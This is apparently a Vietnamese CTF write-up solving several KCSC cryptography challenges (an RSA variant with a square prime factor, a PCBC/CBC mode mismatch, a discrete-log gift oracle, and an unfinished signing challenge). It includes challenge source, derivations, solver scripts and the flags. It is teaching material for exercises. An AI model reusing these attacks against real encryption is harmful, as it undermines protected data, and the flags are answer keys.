      n = 947166029378215681573685007119017666168984033297752775080286377779867377305545634376587741948207865073328277940177160532951778642727687102119230712410226086882346969888194915073996590482747649286982920772432363906920327921033567974712097884396540431297147440251083706325071265030933645087536778803607268099965990824052754448809778996696907531977479093847266964842017321766588821529580218132015882438704409614373340861025360688571007185362228026637160817305181421
      """
    
  • Challenge cho ta các công thức sau:

$$\begin{gather} \text{d} \equiv e^{-1} \pmod {\phi(n)} \hspace{5mm} (1) \newline \text{hint} \equiv \text{d}^e \pmod n \hspace{5mm} (2) \newline \phi(n) = p \times (p-1) \times (q-1) \newline n = p^2 \times q \newline \end{gather}$$

  • Từ (1) ta mũ hai vế cho e được:

$$\text{d}^e \equiv e^{-e} \pmod {\phi(n)}$$

  • Vì p|ϕ(n) nên ta có thể viết phương trình trên thành:

$$\text{d}^e \equiv e^{-e} \pmod {p} \hspace{5mm} (*)$$

  • Với phương trình (2), ta nhân hai vế cho eemodn được:

$$\text{hint} \times (e^e \mod n) \equiv \text{d}^e \times (e^e \mod n) \pmod n$$

  • Vì p|n nên ta có thể viết lại phương trình trên như sau:

$$\text{hint} \times (e^e \mod n) \equiv \text{d}^e \times (e^e \mod p) \pmod p \hspace{5mm} (**)$$

  • Thay (*) vào (**) được:

$$\begin{gather} \text{hint} \times (e^e \mod n) \equiv (e^{-e} \mod p) \times (e^e \mod p) \pmod p \newline \Leftrightarrow \text{hint} \times (e^e \mod n) \equiv (e^{-e} \times e^e \mod p) \pmod p \newline \Leftrightarrow \text{hint} \times (e^e \mod n) \equiv 1 \pmod p \end{gather}$$

\(\Rightarrow \text{hint} \times (e^e \mod n) - 1 = k \times p\)

  • Giờ ta chỉ cần tính GCD của \(\text{hint} \times (e^e \mod n) - 1\) và n là có p, bài toán kết thúc.

  • Script:

      from Crypto.Util.number import *
      e = 0x10001
      c = 216895836421936226664808806038131495725544658675106485670550453429609078893908601117272164909327632048129546753076380379045793859323244310633521321055388974634549104918284811813205866773238823220320222756056839297144222443834324484452750837978501262424186119512949111339142374067658940576220209924539508684423305539352188419127746551691195133913843198343764965016833190033138825402951884225991852311634388045499747652928427089105006744062452013466170009819761589
      hint = 119347490709709918515362500613767389632792382149593771026067086829182731765211255478693659388705133600879844115195595226603111752985962235917359759090718061734175658693105117154525703606445141788266279862259884063386378441258483507592794727728695131221071650602175884547070684687593047276747070248401583807925835550653444240529379502255688396376354105756898403267623695663194584556369065618489842778593026855625193720218739585629291162493093893452796713107895772
      n = 947166029378215681573685007119017666168984033297752775080286377779867377305545634376587741948207865073328277940177160532951778642727687102119230712410226086882346969888194915073996590482747649286982920772432363906920327921033567974712097884396540431297147440251083706325071265030933645087536778803607268099965990824052754448809778996696907531977479093847266964842017321766588821529580218132015882438704409614373340861025360688571007185362228026637160817305181421
    
      p = GCD(hint * pow(e, e, n) - 1, n)
      q = n // (p**2)
    
      phi = p * (p-1) * (q-1)
      d = pow(e, -1, phi)
    
      print(long_to_bytes(pow(c, d, n)))
    

Flag: KCSC{0ne_p_1s_Enough_:vvvvv}

Ngoài cách giải trên ra thì còn một cách khác đơn giản hơn đó là sử dụng Nhị thức Newton

n = p*p*q
phi = p*(p-1)*(q-1)
h = d^e mod n

e^e*h = (e*d)^e mod n
e^e*h = (e*d)^e mod p
e^e*h = (1 + p*(p-1)*(q-1))^e mod p

khai triển nhị thức newton của (1 + p*(p-1)*(q-1))^e mod p ta được 1
vậy ta được phương trình mới là:
e^e*h = 1 mod p

=> e^e*h - 1 = k*p

=> gcd(e^e*h - 1, n) == p

AESOS (easy/medium)

  • chal.py

      from Crypto.Util.number import *
      from Crypto.Util.Padding import *
      from aes import *
      import os
      from pwn import xor
      from secret import flag
    
      cipher = AES(os.urandom(16))
    
      def encrypt(msg: bytes) -> bytes:
          iv = os.urandom(16)
          return iv + cipher.encrypt(msg, iv)
    
      def decrypt(c: bytes) -> bytes:
          return cipher.decrypt(c[16:], c[:16])
    
      while True:
    
          print("1. Encrypt")
          print("2. Decrypt")
          print("3. Flag")
    
          otp = int(input(">> "))
    
          if otp == 1:
    
              msg = bytes.fromhex(input("Enter your message: "))
              print(encrypt(msg).hex())
    
          elif otp == 2:
    
              msg = bytes.fromhex(input("Enter the ciphertext: "))
              print(decrypt(msg).hex())
    
          elif otp == 3:
    
              print(encrypt(flag).hex())
    
          else:
              exit()
    

aes.py

#!/usr/bin/env python3
"""
This is an exercise in secure symmetric-key encryption, implemented in pure
Python (no external libraries needed).

Original AES-128 implementation by Bo Zhu (http://about.bozhu.me) at 
https://github.com/bozhu/AES-Python . PKCS#7 padding, CBC mode, PKBDF2, HMAC,
byte array and string support added by me at https://github.com/boppreh/aes. 
Other block modes contributed by @righthandabacus.


Although this is an exercise, the `encrypt` and `decrypt` functions should
provide reasonable security to encrypted messages.
"""


s_box = (
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

inv_s_box = (
    0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
    0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
    0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
    0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
    0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
    0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
    0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
    0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
    0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
    0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
    0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
    0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
    0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
    0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
    0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)


def sub_bytes(s):
    for i in range(4):
        for j in range(4):
            s[i][j] = s_box[s[i][j]]


def inv_sub_bytes(s):
    for i in range(4):
        for j in range(4):
            s[i][j] = inv_s_box[s[i][j]]


def shift_rows(s):
    s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
    s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
    s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]


def inv_shift_rows(s):
    s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
    s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
    s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]

def add_round_key(s, k):
    for i in range(4):
        for j in range(4):
            s[i][j] ^= k[i][j]


# learned from https://web.archive.org/web/20100626212235/http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)


def mix_single_column(a):
    # see Sec 4.1.2 in The Design of Rijndael
    t = a[0] ^ a[1] ^ a[2] ^ a[3]
    u = a[0]
    a[0] ^= t ^ xtime(a[0] ^ a[1])
    a[1] ^= t ^ xtime(a[1] ^ a[2])
    a[2] ^= t ^ xtime(a[2] ^ a[3])
    a[3] ^= t ^ xtime(a[3] ^ u)


def mix_columns(s):
    for i in range(4):
        mix_single_column(s[i])


def inv_mix_columns(s):
    # see Sec 4.1.3 in The Design of Rijndael
    for i in range(4):
        u = xtime(xtime(s[i][0] ^ s[i][2]))
        v = xtime(xtime(s[i][1] ^ s[i][3]))
        s[i][0] ^= u
        s[i][1] ^= v
        s[i][2] ^= u
        s[i][3] ^= v

    mix_columns(s)


r_con = (
    0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
    0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
    0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
    0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)


def bytes2matrix(text):
    """ Converts a 16-byte array into a 4x4 matrix.  """
    return [list(text[i:i+4]) for i in range(0, len(text), 4)]

def matrix2bytes(matrix):
    """ Converts a 4x4 matrix into a 16-byte array.  """
    return bytes(sum(matrix, []))

def xor_bytes(a, b):
    """ Returns a new byte array with the elements xor'ed. """
    return bytes(i^j for i, j in zip(a, b))

def inc_bytes(a):
    """ Returns a new byte array with the value increment by 1 """
    out = list(a)
    for i in reversed(range(len(out))):
        if out[i] == 0xFF:
            out[i] = 0
        else:
            out[i] += 1
            break
    return bytes(out)

def pad(plaintext):
    """
    Pads the given plaintext with PKCS#7 padding to a multiple of 16 bytes.
    Note that if the plaintext size is a multiple of 16,
    a whole block will be added.
    """
    padding_len = 16 - (len(plaintext) % 16)
    padding = bytes([padding_len] * padding_len)
    return plaintext + padding

def unpad(plaintext):
    """
    Removes a PKCS#7 padding, returning the unpadded text and ensuring the
    padding was correct.
    """
    padding_len = plaintext[-1]
    assert padding_len > 0
    message, padding = plaintext[:-padding_len], plaintext[-padding_len:]
    assert all(p == padding_len for p in padding)
    return message

def split_blocks(message, block_size=16, require_padding=True):
        assert len(message) % block_size == 0 or not require_padding
        return [message[i:i+16] for i in range(0, len(message), block_size)]


class AES:
    """
    Class for AES-128 encryption with CBC mode and PKCS#7.

    This is a raw implementation of AES, without key stretching or IV
    management. Unless you need that, please use `encrypt` and `decrypt`.
    """
    rounds_by_key_size = {16: 10, 24: 12, 32: 14}
    def __init__(self, master_key):
        """
        Initializes the object with a given key.
        """
        assert len(master_key) in AES.rounds_by_key_size
        self.n_rounds = AES.rounds_by_key_size[len(master_key)]
        self._key_matrices = self._expand_key(master_key)

    def _expand_key(self, master_key):
        """
        Expands and returns a list of key matrices for the given master_key.
        """
        # Initialize round keys with raw key material.
        key_columns = bytes2matrix(master_key)
        iteration_size = len(master_key) // 4

        i = 1
        while len(key_columns) < (self.n_rounds + 1) * 4:
            # Copy previous word.
            word = list(key_columns[-1])

            # Perform schedule_core once every "row".
            if len(key_columns) % iteration_size == 0:
                # Circular shift.
                word.append(word.pop(0))
                # Map to S-BOX.
                word = [s_box[b] for b in word]
                # XOR with first byte of R-CON, since the others bytes of R-CON are 0.
                word[0] ^= r_con[i]
                i += 1
            elif len(master_key) == 32 and len(key_columns) % iteration_size == 4:
                # Run word through S-box in the fourth iteration when using a
                # 256-bit key.
                word = [s_box[b] for b in word]

            # XOR with equivalent word from previous iteration.
            word = xor_bytes(word, key_columns[-iteration_size])
            key_columns.append(word)

        # Group key words in 4x4 byte matrices.
        return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]

    def encrypt_block(self, plaintext):
        assert len(plaintext) == 16

        plain_state = bytes2matrix(plaintext)

        add_round_key(plain_state, self._key_matrices[0])

        for i in range(1, self.n_rounds):
            sub_bytes(plain_state)
            shift_rows(plain_state)
            mix_columns(plain_state)
            add_round_key(plain_state, self._key_matrices[i])

        sub_bytes(plain_state)
        shift_rows(plain_state)
        add_round_key(plain_state, self._key_matrices[-1])

        return matrix2bytes(plain_state)

    def decrypt_block(self, ciphertext):
        assert len(ciphertext) == 16

        cipher_state = bytes2matrix(ciphertext)

        add_round_key(cipher_state, self._key_matrices[-1])
        inv_shift_rows(cipher_state)
        inv_sub_bytes(cipher_state)

        for i in range(self.n_rounds - 1, 0, -1):
            add_round_key(cipher_state, self._key_matrices[i])
            inv_mix_columns(cipher_state)
            inv_shift_rows(cipher_state)
            inv_sub_bytes(cipher_state)

        add_round_key(cipher_state, self._key_matrices[0])

        return matrix2bytes(cipher_state)

    def encrypt(self, plaintext, iv):
        assert len(iv) == 16
        plaintext = pad(plaintext)
        blocks = []
        prev_ciphertext = iv
        prev_plaintext = bytes(16)
        for plaintext_block in split_blocks(plaintext):
            ciphertext_block = self.encrypt_block(xor_bytes(plaintext_block, xor_bytes(prev_ciphertext, prev_plaintext)))
            blocks.append(ciphertext_block)
            prev_ciphertext = ciphertext_block
            prev_plaintext = plaintext_block
        return b''.join(blocks)

    def decrypt(self, ciphertext, iv):
        assert len(iv) == 16
        blocks = []
        previous = iv
        for ciphertext_block in split_blocks(ciphertext):
            blocks.append(xor_bytes(previous, self.decrypt_block(ciphertext_block)))
            previous = ciphertext_block
        return b''.join(blocks)
  • Ngồi phân tích file chal.py thì thấy nó khá bình thường, có hàm encrypt plaintext, có hàm decrypt để giải mã ciphertext và có cả option để trả về ciphertext của Flag.

  • Mình thử bỏ Flag hàm decrypt thử thì như dự đoán là nó không trả về toàn bộ Flag mà chỉ có 16 bytes đầu của Flag là đúng, nên chắc chắc là hàm encrypt hoặc hàm decrypt có vấn đề. Nên chúng ta tiến hành đi khám file aes.py.

  • Phân tích hai hàm encrypt()decrypt() của file aes.py:

      def encrypt(self, plaintext, iv):
          assert len(iv) == 16
          plaintext = pad(plaintext)
          blocks = []
          prev_ciphertext = iv
          prev_plaintext = bytes(16)
          for plaintext_block in split_blocks(plaintext):
              ciphertext_block = self.encrypt_block(xor_bytes(plaintext_block, xor_bytes(prev_ciphertext, prev_plaintext)))
              blocks.append(ciphertext_block)
              prev_ciphertext = ciphertext_block
              prev_plaintext = plaintext_block
          return b''.join(blocks)
    
      def decrypt(self, ciphertext, iv):
          assert len(iv) == 16
          blocks = []
          previous = iv
          for ciphertext_block in split_blocks(ciphertext):
              blocks.append(xor_bytes(previous, self.decrypt_block(ciphertext_block)))
              previous = ciphertext_block
          return b''.join(blocks)
    
  • Nhận thấy rằng Flag của ta được encrypt bằng mode PCBC nhưng hàm decrypt lại là mode CBC nên khi ta đưa ciphertext vào thì chỉ có 16 bytes đầu tiên của plaintext là đúng.

    image

  • Vì hàm decrypt là mode CBC nên nó đã có bước ⊕ với IV (ciphertxt trước đó), để biến hàm decrypt thành mode PCBC thì thứ còn thiếu là ⊕ với plaintext trước đó thôi.

  • Nhận Ciphertext của Flag (option 3):

      bd1f37f09f2d51f0af5526862aacaa49978c6ec9d8ff8a1f1da21641fab8d49f45fd3bf409c2bfe61c7dba5b43e32e4618daf4c150a8962bf416fac9f58e6359abc1da5949259468ee2d1cfc3a043eee7abf310cc158078f6a42f59f70d1671cfa3969b1f99422a520bafd676941422787a6f96d5ee3c860f3638f87c77426ae48f8af7a9a64f3fc7759140ba9a44b7675509036cc976e35dcd4ad86caeb21cd100996b444a688608c3563e859fc2fc69054af99a0221e138b3b0ab449e01f62668f47531d396d5fc5cd972e2fe14c0413045fc349435789b6823e2645424157e4f556349f810b5c3937150b8b55b70077cc8713baecceabe1037cd1f56b9ee45a654528c87c3cf093e79dbdb0769652a20c88ec8a781381cebf3a766f5be2a2c67d48c7b1096e39818ea7e54d98cdec413073351bffcaaa6fd741a1106bc7798d81d6f0efc4eb8a3f5dbe474f19c01af6225dbd2746e800ce15a61ef086df12ee4c89a9b92505802a68d29f669611eab805bd7620ae57d7ee4b23cfd5b4b44014487aa3a8abab03435bf0399041a958c9b1f39643926554f4b816868d3df0d2d52dbdfee5fe9d0221cbc2a4665ccaa7a378f7e4155b2244adb189a1e966c2021aab4d7ac67b77c4e95ba05ac9c58d2f27e927530cb62d32c018c2fa3ab07360734aa6b29582b744fd53c8a556b75781d208e994e7022d8752687431175f79e4e139c3da765cbd79c400fa6f7fad47d41c42ab414dcc1de485e269d86c29112a55bfffaf8e4fd7aa9e7dec7a8d06d5b6ed4840772c2fd281ad2f6e893bf1132d5c01e92823abe29bdac8379806aafb869584b4e1c1b6ccb32f8405d580a84868
    
  • Sau đó đưa qua hàm decrypt (option 2), ta được output giải mã bằng CBC như sau:

      4b4353437b50726f7061676174696e6714203a3313350030120d08021f360d0f3e0a071906022d77322f2d20420b0b0d3e191c061e063849242a2c247637011537150030120d08021f360d0f3e0a071906022d3010331f0f0a360d1c04111a360d0e2f07172d5d0e0d060d1f3a1b1c3e0a07190602291f5431300e043b063716081d360a02285b51333a0930100a001400062c013a00040602093b3c1c0e310404062c0c312c190909333c0a18090b151116271d312b1b37152d0c19110f0406113a111a3b1109361e1b1b150d1e3e030d3a07310000051b1719000c021e73280916312801090f2d18032b1e06024200041d3c051c1c18360f147128210b310f262c202d141f100c42384b3e2a0600322f2d20343200023a5c3304080d1c3a1a18300a180037290d15083e1e07000d2716301d1b002c27373a142d121f1d072a113004043e1d06113a08063a140500161800110205361a1c0027042d071a060c1e2c3e0d0d2f1c0d172b150a11290b031a10343c0b150e0a00113a1a11360c0b3006053c101c161b1701713d29000502001207171a263336263b4330280c473a3e19361d0636372b22330415051145300f31290c0d1d1b1b3e051a2514070c0b3136183a171c0a2d3900012c012c0708300a05712b3d0b330f02172c371d214030070e4d2d2c1e18000502001301016f00130c171a26041c0c310e31332c30313a141d2b21092b400c31001a0a0e1e1b1f0200362638005e0c0d1d1b1b48330a1b14070c1c313e1a093c16031d4a34103e1a153a03330005022b07141b3c1f1c000d03001303131b1b041156095c776c
    
  • Sau đó tiến hành ⊕ block hiện tại (bắt đầu từ block 2 vì block 1 đã đúng rồi) với plaintext trước đó và lặp lại đến hết tất cả các khối của output là ta sẽ có được Flag ban đầu:

  • Script:

      from pwn import xor
    
      ct = bytes.fromhex("4b4353437b50726f7061676174696e6714203a3313350030120d08021f360d0f3e0a071906022d77322f2d20420b0b0d3e191c061e063849242a2c247637011537150030120d08021f360d0f3e0a071906022d3010331f0f0a360d1c04111a360d0e2f07172d5d0e0d060d1f3a1b1c3e0a07190602291f5431300e043b063716081d360a02285b51333a0930100a001400062c013a00040602093b3c1c0e310404062c0c312c190909333c0a18090b151116271d312b1b37152d0c19110f0406113a111a3b1109361e1b1b150d1e3e030d3a07310000051b1719000c021e73280916312801090f2d18032b1e06024200041d3c051c1c18360f147128210b310f262c202d141f100c42384b3e2a0600322f2d20343200023a5c3304080d1c3a1a18300a180037290d15083e1e07000d2716301d1b002c27373a142d121f1d072a113004043e1d06113a08063a140500161800110205361a1c0027042d071a060c1e2c3e0d0d2f1c0d172b150a11290b031a10343c0b150e0a00113a1a11360c0b3006053c101c161b1701713d29000502001207171a263336263b4330280c473a3e19361d0636372b22330415051145300f31290c0d1d1b1b3e051a2514070c0b3136183a171c0a2d3900012c012c0708300a05712b3d0b330f02172c371d214030070e4d2d2c1e18000502001301016f00130c171a26041c0c310e31332c30313a141d2b21092b400c31001a0a0e1e1b1f0200362638005e0c0d1d1b1b48330a1b14070c1c313e1a093c16031d4a34103e1a153a03330005022b07141b3c1f1c000d03001303131b1b041156095c776c")
    
      # 4b4353437b50726f7061676174696e67 là KCSC{Propagating
      flag = ct[:16]
      current_xor = ct[:16]
    
      # bỏ khối đầu tiên
      for i in range(16, len(ct), 16):
          current_xor = xor(current_xor, ct[i:i+16])
          flag += current_xor
    
      print(flag)
      # b'KCSC{Propagating_cipher_block_chaining_(PCBC)The_propagating_cipher_block_chaining_or_plaintext_cipher-block_chaining[26]_mode_was_designed_to_cause_small_changes_in_the_ciphertext_to_propagate_indefinitely_when_decrypting,_as_well_as_when_encrypting._In_PCBC_mode,_each_block_of_plaintext_is_XORed_with_both_the_previous_plaintext_block_and_the_previous_ciphertext_block_before_being_encrypted._Like_with_CBC_mode,_an_initialization_vector_is_used_in_the_first_block._Unlike_CBC,_decrypting_PCBC_with_the_incorrect_IV_(initialization_vector)_causes_all_blocks_of_plaintext_to_be_corrupt.}\x03\x03\x03'
    

vem (medium)

  • Source:
    from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    import random
    from secret import FLAG
    FLAG = b'KCSC{?????????????????????????????????????????}'

    G = getPrime(256)
    p = getPrime(512)
    q = getPrime(512)
    N = p*q


    b, c = [random.randint(0, 2**64) for _ in range(2)]

    def P_x(x):
        return x**2 + b * x + c

    def gift(a):
        return pow(G, P_x(a), N)

    def encrypt_message(msg, key):
        cipher = AES.new(key, AES.MODE_ECB)
        return cipher.encrypt(msg).hex()

    MSG1 = bytes_to_long(b"Make KCSC")
    MSG2 = bytes_to_long(b"Great Again")

    options = """
    1. Get gift
    2. Flag
    """

    print("I want to see you in KCSC")
    print(f"N = {N}")
    print(f'P(x) = x^2 + bx + {c}')
    print('pay for g :)))))')
    print("Choose your option")
    print(options)

    for _ in range(5):
        try:
            option = int(input('> '))

            if option == 1:
                msg = int(input('Give me your msg: '))
                print(f'Your gift: {gift(msg)}')

            elif option == 2:
                key = pow(G, 2*MSG1 * MSG2, N)
                enc_flag = encrypt_message(pad(FLAG, 16), long_to_bytes(key)[:32])
                print(f'Here is your enc_flag: {enc_flag}')

            else:
                print('Invalid option :((')
                exit()

        except Exception as e:
            print('Error occurred :((')
            exit()
  • Phân tích Source ta thấy rằng key được mã hóa bằng cách tính pow(G, 2*MSG1 * MSG2, N), với giá trị MSG1MSG2 đã có, mục tiêu của ta là tìm được G

  • Challenge cũng cho ta nhập vào một giá trị x bất kì để tính giá trị của Gift, trong đó:

$$\text{Gift} \equiv G^{x^2 + bx + c} \pmod N$$

  • Vì thế ta sẽ lợi dụng giá trị x này để tính lại giá trị $G$ ban đầu.

  • Challenge chưa cho ta giá trị b nên ta sẽ tìm cách để triệt tiêu nó. Đầu tiên ta gửi ba giá trị x là -1, 1 và 0, được ba kết quả như sau:

$$\begin{gather} \text{Gift}_{-1} = \text{G}^{-b + c + 1} \newline \text{Gift}_1 =\text{G}^{b +c + 1} \newline \text{Gift}_0 = \text{G}^{c} \end{gather}$$

  • Lấy \(\text{Gift}_{-1}\) nhân với \(\text{Gift}_1\) được:

$$\text{G}^{-b + c + 1} \times \text{G}^{b +c + 1} = \text{G}^{2c + 2} = \text{G}^{2c} \times \text{G}^{2} = \text{Gift}_0^2 \times \text{G}^{2}$$

  • Vậy ta tính được giá trị của \(\text{G}^{2}\) là:

$$\text{G}^{2} \equiv \text{Gift}_{-1} \times \text{Gift}_1 \times \text{Gift}_0^{-2} \pmod N$$

  • Vì \(\text{G}\) chỉ lớn 256 bit nên \(\text{G}^{2}\) sẽ bé hơn N (1024 bit), ta chỉ cần tính căn bậc hai của \(\text{G}^{2}\) trên trường số thực là sẽ có được \(\text{G}\).

  • Script:

      from Crypto.Util.number import *
      from Crypto.Cipher import AES
      from Crypto.Util.Padding import pad
      from gmpy2 import iroot
    
      g0 = 68709246753718708670434009468603812974169730880153372110182606027552206350317791358757202779168733600759215556114409595644777258807639505704788072606532821696532807121688324431031050041320682016561540194647870403534914783447479491524407581399830011189381812922803275186625229630192946937561415007763234855418
      g1 = 34912588211485487865266218601704066950383917642724347506083898462113941064077455705169681005963342375593688421399108198203498076409644237969447450208571854706415271918417061971940103387042750662416626209121400964110421639401854909795659178421492644182031211590672462202637945253500739318723159856916161975048
      g_1 = 11186741340123775362088539391154861118292423476007589818009758364041151686393407198862771587531612692555053653337196730852015297901445970353774615829133233790769710578342099928560157910124055319112487021351081043889989246091356061788284924405098962070739530308884383115967974725358199407010468585449409245067
      N = 106204527447305751846882251060475772730437136941185872213298995208525994414059793295374996918284654725292034949561262467748493471889227649964473617275415214227226870761256042534830419906951817128862859251725033489046287902825423970540811544802157468312878182813317947896749764084503149466587697826296781850847
      ct = bytes.fromhex("6eef3cb780a4caae1efc2ad63a78f3709f73957299908d8992cad9de3ddb081a7fab79e52816f10ce689a6c645965fba44ce2b2ddba4d0e51a222b062b4b97c9")
    
      MSG1 = bytes_to_long(b"Make KCSC")
      MSG2 = bytes_to_long(b"Great Again")
    
      G2 = (g1 * g_1 * pow(g0, -2, N)) % N
      G = iroot(G2, 2)[0]
    
      key = long_to_bytes(pow(G, 2*MSG1 * MSG2, N))[:32]
    
      cipher = AES.new(key, AES.MODE_ECB)
      print(cipher.decrypt(ct))
    

Flag: KCSC{Congr4tulati0n_to_you_0n_5olving_chall_lor:)))}

Simple lath (medium)

  • Source:
    from hashlib import sha256
    from Crypto.Util.number import bytes_to_long , getPrime
    from math import prod
    from random import choice ,randint
    from secret import  *

    array = [i for i in range(1,1000,2)]
    n = prod([i for i in array if choice([0,1])])


    def sha256_(plaintext) :
        return bytes_to_long(sha256(plaintext).digest())

    def sign(x,m,g) :

        k = randint(1,2**18)
        r = pow(g,k,n)
        s = ((m-x*r)*k)%n

        return r,s,get_chances(k,n) # from secret

    def main() :

        print("Welcom to my easy sign channel")
        print("Can you guess my  private key ???")
        private_key = randint(2**32,2**128)
        print(f'Public key : {hex(n)}')


        while True : 

            g = getPrime(128)
            plaintext =  bytes.fromhex(input("Input your plaintext :  "))
            m = sha256_(plaintext)
            while True : 

                r,s ,num_rounds = sign(private_key,m,g)
                if num_rounds > 150 and num_rounds < 999:
                    break

            print(f'g : {hex(g)}')
            print(f'r : {hex(r)}')
            print(f's : {hex(s)}')

            inp = int(input("Do you want sign more (0/1)  "))
            if inp == 0 :
                break

        print(f'You have {num_rounds} chances ~.~  ')
        for _ in range(num_rounds) :

            private_user = int(input(f'Submit you private key : '))
            if private_user == private_key : 
